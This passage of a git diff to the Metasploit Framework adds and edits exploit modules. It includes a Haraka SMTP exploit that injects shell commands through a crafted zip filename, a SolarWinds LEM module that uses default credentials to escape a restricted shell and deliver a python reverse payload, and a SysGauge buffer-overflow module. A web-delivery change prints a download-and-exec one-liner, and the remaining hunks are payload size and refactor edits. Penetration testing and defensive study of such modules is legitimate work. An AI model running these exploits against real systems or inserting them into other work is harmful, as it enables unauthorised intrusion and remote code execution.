end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i + end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i + end + + print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.") + print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).") + + # 2: work back from the current router time minus datastore['TIME_OFFSET'] + while true + for time in end_time.downto(start_time) + timestamp = get_timestamp(time) + sleep 0.1 + if time % 400 == 0 + print_status("#{peer} - Still working, trying time #{time}") + end + send_req(timestamp) + begin + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 }) + if sock.nil? + next + end + print_status("#{peer} - Success, shell incoming!") + return handler(sock) + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + sock.close if sock + next + end + end + end_time = start_time + start_time -= datastore['TIME_OFFSET'] + if start_time < 0 + if end_time <= datastore['TIME_OFFSET'] + fail_with(Failure::Unknown, "#{peer} - Exploit failed.") + end + start_time = 0 + end + print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}") + + # let the router clear the buffers a bit... + sleep 30 + end + end +end diff --git a/modules/exploits/linux/http/nginx_chunked_size.rb b/modules/exploits/linux/http/nginx_chunked_size.rb index 2add096256..0ed06f592e 100644 --- a/modules/exploits/linux/http/nginx_chunked_size.rb +++ b/modules/exploits/linux/http/nginx_chunked_size.rb @@ -6,6 +6,7 @@ require 'msf/core' class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking include Exploit::Remote::Tcp diff --git a/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb b/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb index 7dc57f3513..fb926dde43 100644 --- a/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb +++ b/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb @@ -6,6 +6,7 @@ require 'msf/core' class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::Telnet include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/local/hp_smhstart.rb b/modules/exploits/linux/local/hp_smhstart.rb index 2a1659297a..8b9c028421 100644 --- a/modules/exploits/linux/local/hp_smhstart.rb +++ b/modules/exploits/linux/local/hp_smhstart.rb @@ -9,6 +9,7 @@ require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking include Msf::Exploit::EXE include Msf::Post::File diff --git a/modules/exploits/linux/smtp/haraka.py b/modules/exploits/linux/smtp/haraka.py new file mode 100755 index 0000000000..159dcc1fc0 --- /dev/null +++ b/modules/exploits/linux/smtp/haraka.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python2.7 + +# Vendor Homepage: https://haraka.github.io/ +# Software Link: https://github.com/haraka/Haraka +# Exploit github: http://github.com/outflankbv/Exploits/ +# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8 +# Version: <= Haraka 2.8.8 (with attachment plugin enabled) +# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS +# Tested versions: 2.8.8 and 2.7.2 +# Thanks to: Dexlab.nl for asking me to look at Haraka. + +import smtplib +from email.mime.application import MIMEApplication +from email.mime.multipart import MIMEMultipart +from email.utils import COMMASPACE, formatdate +from email.header import Header +from email.utils import formataddr +from email.mime.text import MIMEText +from datetime import datetime +import zipfile +import StringIO +import sys, os, json + +metadata = { + 'name': 'Haraka SMTP Command Injection', + 'description': ''' + The Haraka SMTP server comes with a plugin for processing attachments. + Versions before 2.8.9 can be vulnerable to command injection + ''', + 'authors': ['xychix ', 'smfreegard', 'Adam Cammack '], + 'date': '2017-01-26', + 'references': [ + {'type': 'cve', 'ref': '2016-1000282'}, + {'type': 'edb', 'ref': '41162'}, + {'type': 'url', 'ref': 'https://github.com/haraka/Haraka/pull/1606'}, + ], + 'type': 'remote_exploit.cmd_stager.wget', + 'privileged': True, + 'targets': [ + {'platform': 'linux', 'arch': 'x64'}, + {'platform': 'linux', 'arch': 'x86'} + ], + 'options': { + 'email_to': {'type': 'string', 'description': 'Email to send to, must be accepted by the server', 'required': True, 'default': 'admin@localhost'}, + 'email_from': {'type': 'string', 'description': 'Address to send from', 'required': True, 'default': 'foo@example.com'}, + 'rhost': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None}, + 'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25} + }} + +def log(message, level='info'): + print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': { + 'level': level, + 'message': message + }})) + sys.stdout.flush() + +def send_mail(to, mailserver, cmd, mfrom, port): + msg = MIMEMultipart() + html = "harakiri" + msg['Subject'] = "harakiri" + msg['From'] = mfrom + msg['To'] = to + f = "harakiri.zip" + msg.attach(MIMEText(html)) + log("Send harariki to %s, commandline: %s , mailserver %s is used for delivery"%(to, cmd, mailserver), 'debug') + part = MIMEApplication(create_zip(cmd),Name="harakiri.zip") + part['Content-Disposition'] = 'attachment; filename="harakiri.zip"' + msg.attach(part) + log("Sending mail to target server...") + log(msg.as_string(), 'debug') + s = smtplib.SMTP(mailserver, port) + try: + resp = s.sendmail(mfrom, to, msg.as_string()) + except smtplib.SMTPDataError, err: + if err[0] == 450: + log("Triggered bug in target server (%s)"%err[1], 'good') + return(True) + log("Bug not triggered in target server", 'error') + log("it may not be vulnerable or have the attachment plugin activated", 'error') + s.close() + return(False) + +class InMemoryZip(object): + def __init__(self): + self.in_memory_zip = StringIO.StringIO() + def append(self, filename_in_zip, file_contents): + zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False) + zf.writestr(filename_in_zip, file_contents) + for zfile in zf.filelist: + zfile.create_system = 0 + return self + def read(self): + self.in_memory_zip.seek(0) + return self.in_memory_zip.read() + +def create_zip(cmd="touch /tmp/harakiri"): + z1 = InMemoryZip() + z2 = InMemoryZip() + z2.append("harakiri.txt", + "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.") + z1.append("a\";%s;echo \"a.zip"%cmd, z2.read()) + return(z1.read()) + +if __name__ == '__main__': + req = json.loads(os.read(0, 10000)) + if req['method'] == 'describe': + print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})) + elif req['method'] == 'run': + args = req['params'] + send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport'])) + print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': { + 'message': 'Exploit completed' + }})) + sys.stdout.flush() diff --git a/modules/exploits/linux/ssh/solarwinds_lem_exec.rb b/modules/exploits/linux/ssh/solarwinds_lem_exec.rb new file mode 100644 index 0000000000..d7fdcde644 --- /dev/null +++ b/modules/exploits/linux/ssh/solarwinds_lem_exec.rb @@ -0,0 +1,168 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::SSH + + def initialize(info={}) + super(update_info(info, + 'Name' => "SolarWind LEM Default SSH Password Remote Code Execution", + 'Description' => %q{ + This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH + service is accessed with the default username and password which is "cmc" and "password". By exploiting a + vulnerability that exist on the menuing script, an attacker can escape from restricted shell. + + This module was tested against SolarWinds LEM v6.3.1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mehmet Ince ', # discovery & msf module + ], + 'References' => + [ + ['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/'] + ], + 'DefaultOptions' => + { + 'Payload' => 'python/meterpreter/reverse_tcp', + }, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'Targets' => [ ['Automatic', {}] ], + 'Privileged' => false, + 'DisclosureDate' => "Mar 17 2017", + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(32022), + OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]), + OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]), + ] + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + end + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def exploit + factory = ssh_socket_factory + opts = { + :auth_methods => ['keyboard-interactive'], + :port => rport, + :use_agent => false, + :config => false, + :password => password, + :proxy => factory, + :non_interactive => true + } + + opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + + print_status("#{rhost}:#{rport} - Attempting to login...") + + begin + ssh = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh = Net::SSH.start(rhost, username, opts) + end + rescue Rex::ConnectionError + return + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" + return + rescue ::Timeout::Error + print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" + return + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials." + rescue Net::SSH::Exception => e + print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" + return + end + + if ssh + payload_executed = false + print_good("SSH connection is established.") + + ssh.open_channel do |channel| + print_status("Requesting pty... We need it in order to interact with menuing system.") + + channel.request_pty do |ch, success| + raise ::RuntimeError, "Could not request pty!" unless success + print_good("Pty successfully obtained.") + + print_status("Requesting a shell.") + ch.send_channel_request("shell") do |ch, success| + raise ::RuntimeError, "Could not open shell!" unless success + print_good("Remote shell successfully obtained.") + end + end + + channel.on_data do |ch, data| + if data.include? "cmc " + print_good("Step 1 is done. Managed to access terminal menu.") + channel.send_data("service\n") + end + + if data.include? "service " + print_good("Step 2 is done. Managed to select 'service' sub menu.") + channel.send_data("restrictssh\n") + end + + if data.include? "Press to configure restriction on the SSH service to the Manager Appliance" + print_good("Step 3 is done. Managed to start 'restrictssh' function.") + channel.send_data("*#`bash>&2`\n") + end + + if data.include? "Are the hosts" + print_good("Step 4 is done. We are going to try escape from jail shell.") + channel.send_data("Y\n") + end + + if data.include? "/usr/local/contego" + if payload_executed == false + print_good("Sweet..! Escaped from jail.") + print_status("Delivering payload...") + channel.send_data("python -c \"#{payload.encoded}\"\n") + payload_executed = true + end + end + + end + end + begin + ssh.loop unless session_created? + rescue Errno::EBADF => e + elog(e.message) + end + end + end + +end diff --git a/modules/exploits/multi/http/struts2_content_type_ognl.rb b/modules/exploits/multi/http/struts2_content_type_ognl.rb index 6b7b959950..8b7ae1dd26 100644 --- a/modules/exploits/multi/http/struts2_content_type_ognl.rb +++ b/modules/exploits/multi/http/struts2_content_type_ognl.rb @@ -92,9 +92,6 @@ class MetasploitModule < Msf::Exploit::Remote else resp = send_payload(generate_payload_exe) end - - require'pp' - pp resp.headers if resp end def send_struts_request(ognl, extra_header: '') diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index a68504c4ec..57df3c24f2 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -86,7 +86,8 @@ class MetasploitModule < Msf::Exploit::Remote when 'PHP' print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"") when 'Python' - print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"") + print_line('Python:') + print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"") when 'PSH' ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) diff --git a/modules/exploits/windows/smtp/sysgauge_client_bof.rb b/modules/exploits/windows/smtp/sysgauge_client_bof.rb new file mode 100644 index 0000000000..b72b2832cf --- /dev/null +++ b/modules/exploits/windows/smtp/sysgauge_client_bof.rb @@ -0,0 +1,80 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +# + +class MetasploitModule < Msf::Exploit::Remote + include Msf::Exploit::Remote::TcpServer + + Rank = NormalRanking + + def initialize() + super( + 'Name' => 'SysGauge SMTP Validation Buffer Overflow', + 'Description' => %q{ + This module will setup an SMTP server expecting a connection from SysGauge 1.5.18 + via its SMTP server validation. The module sends a malicious response along in the + 220 service ready response and exploits the client, resulting in an unprivileged shell. + }, + 'Author' => + [ + 'Chris Higgins', # msf Module -- @ch1gg1ns + 'Peter Baris' # Initial discovery and PoC + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '41479' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Payload' => + { + 'Space' => 306, + 'BadChars' => "\x00\x0a\x0d\x20" + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows Universal', + { + 'Offset' => 176, + 'Ret' => 0x6527635E # call esp # QtGui4.dll + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Feb 28 2017', + 'DefaultTarget' => 0 + ) + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]), + ]) + end + + def on_client_connect(c) + # Note here that the payload must be split into two parts. + # The payload gets jumbled in the stack so we need to split + # and align to get it to execute correctly. + sploit = "220 " + sploit << rand_text(target['Offset']) + # Can only use the last part starting from 232 bytes in + sploit << payload.encoded[232..-1] + sploit << rand_text(2) + sploit << [target.ret].pack('V') + sploit << rand_text(12) + sploit << make_nops(8) + # And the first part up to 232 bytes + sploit << payload.encoded[0..231] + sploit << "ESMTP Sendmail \r\n" + + print_status("Client connected: " + c.peerhost) + print_status("Sending payload...") + + c.put(sploit) + end + +end diff --git a/modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb index bafd98cb93..8ce52ca5eb 100644 --- a/modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux' module MetasploitModule - CachedSize = 301264 + CachedSize = 646808 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/armbe/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/armbe/mettle_reverse_tcp.rb index 291850d9d0..e399f321e4 100644 --- a/modules/payloads/singles/linux/armbe/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armbe/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux' module MetasploitModule - CachedSize = 295848 + CachedSize = 639520 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb index 73100d4645..414d9d3b4a 100644 --- a/modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armle_linux' module MetasploitModule - CachedSize = 293160 + CachedSize = 638320 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb index c1535361e8..9b14d5b953 100644 --- a/modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux' module MetasploitModule - CachedSize = 521672 + CachedSize = 1019344 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb index ac96c1c79d..2e74746dab 100644 --- a/modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux' module MetasploitModule - CachedSize = 502792 + CachedSize = 997900 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb index 905e84d104..0a898abb51 100644 --- a/modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux' module MetasploitModule - CachedSize = 502840 + CachedSize = 997996 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/ppc/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/mettle_reverse_tcp.rb index 420139a48e..ed7a18a30f 100644 --- a/modules/payloads/singles/linux/ppc/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux' module MetasploitModule - CachedSize = 395276 + CachedSize = 788788 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/ppc64le/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64le/mettle_reverse_tcp.rb index d293d3f51b..bd9c5a0de3 100644 --- a/modules/payloads/singles/linux/ppc64le/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc64le/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux' module MetasploitModule - CachedSize = 396192 + CachedSize = 789888 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/x64/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/x64/mettle_reverse_tcp.rb index 158ddcbfde..f8c5f7e734 100644 --- a/modules/payloads/singles/linux/x64/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_mettle_linux' module MetasploitModule - CachedSize = 302144 + CachedSize = 700032 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/x86/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/x86/mettle_reverse_tcp.rb index f980a8345e..a419ab029f 100644 --- a/modules/payloads/singles/linux/x86/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_mettle_linux' module MetasploitModule - CachedSize = 305148 + CachedSize = 739644 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/zarch/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/mettle_reverse_tcp.rb index 16a1315baa..8c4bfc4b74 100644 --- a/modules/payloads/singles/linux/zarch/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/zarch/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux' module MetasploitModule - CachedSize = 380192 + CachedSize = 864336 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 0f8b608be0..bad5a033eb 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/reverse_http' module MetasploitModule - CachedSize = 327 + CachedSize = 339 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index cecdfc5236..12a4e8df17 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/reverse_https' module MetasploitModule - CachedSize = 347 + CachedSize = 359 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index c4b25c7221..74aad15134 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_http' module MetasploitModule - CachedSize = 501 + CachedSize = 520 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index 75b52ee6a2..1fcec84bcf 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https' module MetasploitModule - CachedSize = 532 + CachedSize = 551 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stages/linux/x86/mettle.rb b/modules/payloads/stages/linux/x86/mettle.rb index 2b37fffd23..f410e33bca 100644 --- a/modules/payloads/stages/linux/x86/mettle.rb +++ b/modules/payloads/stages/linux/x86/mettle.rb @@ -39,7 +39,7 @@ module MetasploitModule entry_offset = elf_ep(payload) midstager_asm = %( - push ebx ; save sockfd + push edi ; save sockfd xor ebx, ebx ; address mov ecx, #{payload.length} ; length mov edx, 7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE diff --git a/modules/post/hardware/automotive/getvinfo.rb b/modules/post/hardware/automotive/getvinfo.rb index deeec1b7df..afd8988972 100644 --- a/modules/post/hardware/automotive/getvinfo.rb +++ b/modules/post/hardware/automotive/getvinfo.rb @@ -10,6 +10,7 @@ require 'msf/core/post/hardware/automotive/uds' class MetasploitModule < Msf::Post include Msf::Post::Hardware::Automotive::UDS + include Msf::Post::Hardware::Automotive::DTC def initialize(info={}) super( update_info( info, @@ -33,51 +34,71 @@ class MetasploitModule < Msf::Post def run pids = get_current_data_pids(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) - print_status("Available PIDS for pulling realtime data: #{pids.size} pids") - print_status(" #{pids.inspect}") + if pids.size == 0 + print_status("No reported PIDs. You may not be properly connected") + else + print_status("Available PIDS for pulling realtime data: #{pids.size} pids") + print_status(" #{pids.inspect}") + end if pids.include? 1 - data = get_monitor_status(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) - print_status(" MIL (Engine Light) : #{data["MIL"] ? "ON" : "OFF"}") if data.has_key? "MIL" - print_status(" Number of DTCs: #{data["DTC_COUNT"]}") if data.has_key? "DTC_COUNT" + data = get_monitor_status(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID']) + print_status(" MIL (Engine Light) : #{data['MIL'] ? 'ON' : 'OFF'}") if data.key? "MIL" + print_status(" Number of DTCs: #{data['DTC_COUNT']}") if data.key? "DTC_COUNT" end if pids.include? 5 - data = get_engine_coolant_temp(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) - print_status(" Engine Temp: #{data["TEMP_C"]} \u00b0C / #{data["TEMP_F"]} \u00b0F") if data.has_key? "TEMP_C" + data = get_engine_coolant_temp(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID']) + print_status(" Engine Temp: #{data['TEMP_C']} \u00b0C / #{data['TEMP_F']} \u00b0F") if data.key? "TEMP_C" end if pids.include? 0x0C - data = get_rpms(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) - print_status(" RPMS: #{data["RPM"]}") if data.has_key? "RPM" + data = get_rpms(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID']) + print_status(" RPMS: #{data['RPM']}") if data.key? "RPM" end if pids.include? 0x0D - data = get_vehicle_speed(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) - print_status(" Speed: #{data["SPEED_K"]} km/h / #{data["SPEED_M"]} mph") if data.has_key? "SPEED_K" + data = get_vehicle_speed(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID']) + print_status(" Speed: #{data['SPEED_K']} km/h / #{data['SPEED_M']} mph") if data.key? "SPEED_K" end if pids.include? 0x1C - print_status("Supported OBD Standards: #{get_obd_standards(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"])}") + print_status("Supported OBD Standards: #{get_obd_standards(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])}") end - dtcs = get_dtcs(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) - print_status("DTCs: #{ dtcs.join(",") }") if dtcs.size > 0 - pids = get_vinfo_supported_pids(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) - print_status("Mode $09 Vehicle Info Supported PIDS: #{pids.inspect}") + dtcs = get_dtcs(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID']) + unless dtcs.empty? + print_status("DTCS:") + dtcs.each do |dtc| + msg = dtc + msg += ": #{DTC_CODES[dtc]}" if DTC_CODES.key? dtc + print_status(" #{msg}") + end + end + frozen_dtcs = get_frozen_dtcs(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID']) + unless frozen_dtcs.empty? + print_status("Frozen DTCS:") + frozen_dtcs.each do |dtc| + msg = dtc + msg += ": #{DTC_CODES[dtc]}" if DTC_CODES.key? dtc + print_status(" #{msg}") + end + end + pids = get_vinfo_supported_pids(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID']) + print_status("Mode $09 Vehicle Info Supported PIDS: #{pids.inspect}") if pids.size > 0 pids.each do |pid| # Handle known pids if pid == 2 - vin = get_vin(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) + vin = get_vin(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID']) print_status("VIN: #{vin}") elsif pid == 4 - calid = get_calibration_id(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) + calid = get_calibration_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID']) print_status("Calibration ID: #{calid}") elsif pid == 0x0A - ecuname = get_ecu_name(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) + ecuname = get_ecu_name(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID']) print_status("ECU Name: #{ecuname}") else - data = get_vehicle_info(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"], pid) - data = response_hash_to_data_array(datastore["DSTID"].to_s(16), data) + data = get_vehicle_info(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], pid) + data = response_hash_to_data_array(datastore['DSTID'].to_s(16), data) print_status("PID #{pid} Response: #{data.inspect}") end end if datastore['CLEAR_DTCS'] == true - clear_dtcs(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"]) + clear_dtcs(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID']) print_status("Cleared DTCs and reseting MIL") end end diff --git a/modules/post/hardware/automotive/identifymodules.rb b/modules/post/hardware/automotive/identifymodules.rb index b4b061a111..f9744bbbd3 100644 --- a/modules/post/hardware/automotive/identifymodules.rb +++ b/modules/post/hardware/automotive/identifymodules.rb @@ -25,20 +25,20 @@ class MetasploitModule < Msf::Post OptInt.new('ENDID', [true, "End scan at this ID", 0x7F7]), OptString.new('CANBUS', [false, "CAN Bus to perform scan on, defaults to connected bus", nil]) ], self.class) - @found_id = Array.new + @found_id = [] end def run scanned_ids = 0 print_line("Starting scan...") - (datastore["STARTID"]..datastore["ENDID"]).each do |id| - res = set_dsc(datastore["CANBUS"], id, id+8, 1) + (datastore['STARTID']..datastore['ENDID']).each do |id| + res = set_dsc(datastore['CANBUS'], id, id + 8, 1) scanned_ids += 1 - next if res == nil - next if not res.has_key? "Packets" - next if not res["Packets"].size > 0 - if res["Packets"][0].has_key? "DATA" and res["Packets"][0]["DATA"].size > 3 - if res["Packets"][0]["DATA"][0].hex == 3 and res["Packets"][0]["DATA"][1].hex == 0x7f and res["Packets"][0]["DATA"][2].hex == 0x10 + next if res.nil? + next unless res.key? "Packets" + next unless res["Packets"].empty? + if (res["Packets"][0].key? "DATA") && res["Packets"][0]["DATA"].size > 3 + if res["Packets"][0]["DATA"][0].hex == 3 && res["Packets"][0]["DATA"][1].hex == 0x7f && res["Packets"][0]["DATA"][2].hex == 0x10 print_status("Identified module #{"%3x" % id}") @found_id << id end diff --git a/modules/post/hardware/automotive/malibu_overheat.rb b/modules/post/hardware/automotive/malibu_overheat.rb index 4ee0a8c0b3..87e4c1bfd0 100644 --- a/modules/post/hardware/automotive/malibu_overheat.rb +++ b/modules/post/hardware/automotive/malibu_overheat.rb @@ -24,7 +24,7 @@ class MetasploitModule < Msf::Post end def run - if not client.automotive + unless client.automotive print_error("The hwbridge requires a functional automotive extention") return end diff --git a/modules/post/hardware/rftransceiver/rfpwnon.rb b/modules/post/hardware/rftransceiver/rfpwnon.rb new file mode 100644 index 0000000000..567a241c07 --- /dev/null +++ b/modules/post/hardware/rftransceiver/rfpwnon.rb @@ -0,0 +1,154 @@ +class MetasploitModule < 